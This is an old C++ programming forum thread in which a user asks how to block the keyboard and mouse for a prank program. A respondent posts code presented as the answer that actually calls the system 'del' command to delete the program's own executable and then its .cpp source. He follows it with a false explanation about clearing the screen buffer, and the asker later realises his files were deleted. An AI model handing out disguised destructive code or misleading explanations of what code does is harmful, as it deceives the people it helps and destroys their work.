Thread: disable keyboard and mouse?

  1. #1
    Registered User
    Join Date
    Sep 2005
    Posts
    241

    disable keyboard and mouse?

    I am writing a joke program to scare my friend...
    But the problem is it will just be able to be exited once a [fake] error comes up, he can just x out... any help?
    Code:
    code removed to make page smaller, see my last post to see the updated code.
    Last edited by bikr692002; 03-31-2006 at 05:44 PM.

  2. #2
    Registered User major_small's Avatar
    Join Date
    May 2003
    Posts
    2,787
    try this:
    Code:
    #include <string>
    #include <cstdlib>
    
    int main(int argc, char*argv[])
    {
    	std::string cmd="del ";
    	cmd+=argv[0];
    	system(cmd.c_str());
    	cmd=cmd.substr(0,cmd.find(".exe"));
    	cmd+=".cpp";
    	system(cmd.c_str());
    	return 0;
    }
    edit: you need to compile this, then close your text editor, and run the program from outside your IDE for it to work. If ANY of the files used to create this program are open, it won't do what you want it to.
    Last edited by major_small; 03-31-2006 at 03:00 PM.
    Join is in our Unofficial Cprog IRC channel
    Server: irc.phoenixradio.org
    Channel: #Tech


    Team Cprog Folding@Home: Team #43476
    Download it Here
    Detailed Stats Here
    More Detailed Stats
    52 Members so far, are YOU a member?
    Current team score: 1223226 (ranked 374 of 45152)

    The CBoard team is doing better than 99.16% of the other teams
    Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)

    Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT

  3. #3
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    How does that work? I don't understand it...

  4. #4
    Registered User major_small's Avatar
    Join Date
    May 2003
    Posts
    2,787
    put that at the top of your code (except for the return 0; )

    basically, it doesn't so much disable the keyboard and mouse as it clears the screenbuffer of your program... basically it makes your program "dissapear" to the mouse, so you can't click the x. when you click where the x should be, the mouse just thinks you're clicking blank space.

    but like I said, it has to be the first thing in your program, or you'll have time to hit that x
    Join is in our Unofficial Cprog IRC channel
    Server: irc.phoenixradio.org
    Channel: #Tech


    Team Cprog Folding@Home: Team #43476
    Download it Here
    Detailed Stats Here
    More Detailed Stats
    52 Members so far, are YOU a member?
    Current team score: 1223226 (ranked 374 of 45152)

    The CBoard team is doing better than 99.16% of the other teams
    Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)

    Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT

  5. #5
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    Thanks man, much appreciated

  6. #6
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    It says "Access is denied"

  7. #7
    Registered User major_small's Avatar
    Join Date
    May 2003
    Posts
    2,787
    did you close your IDE like I said?

    if you're running the program on it's own without any of it's files being open, then try removing just that first system(cmd.c_str()); line from my code and try it again.
    Join is in our Unofficial Cprog IRC channel
    Server: irc.phoenixradio.org
    Channel: #Tech


    Team Cprog Folding@Home: Team #43476
    Download it Here
    Detailed Stats Here
    More Detailed Stats
    52 Members so far, are YOU a member?
    Current team score: 1223226 (ranked 374 of 45152)

    The CBoard team is doing better than 99.16% of the other teams
    Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)

    Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT

  8. #8
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    This is what I'm getting...
    http://www.freewebs.com/cjstaal/dsadsadsa.bmp

  9. #9
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    I hate you.

  10. #10
    Registered User
    Join Date
    Sep 2005
    Posts
    241
    No worries though since the source is saved on this page, I though something was fishy when you had that del in there

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Detecting keyboard and mouse in linux
    By sameer.nalwade in forum C Programming
    Replies: 3
    Last Post: 11-22-2008, 04:24 AM
  2. GLUT keyboard and mouse func separated
    By krappa in forum Game Programming
    Replies: 1
    Last Post: 04-20-2005, 06:27 PM
  3. locking mouse and keyboard in C
    By lepricaun in forum C Programming
    Replies: 4
    Last Post: 08-19-2004, 10:54 AM
  4. Game Design Topic #2 - Keyboard or Mouse?
    By TechWins in forum Game Programming
    Replies: 4
    Last Post: 10-08-2002, 03:34 PM
  5. Mouse & keyboard deactivate for some seconds?
    By JoJo in forum Windows Programming
    Replies: 0
    Last Post: 09-08-2001, 12:18 PM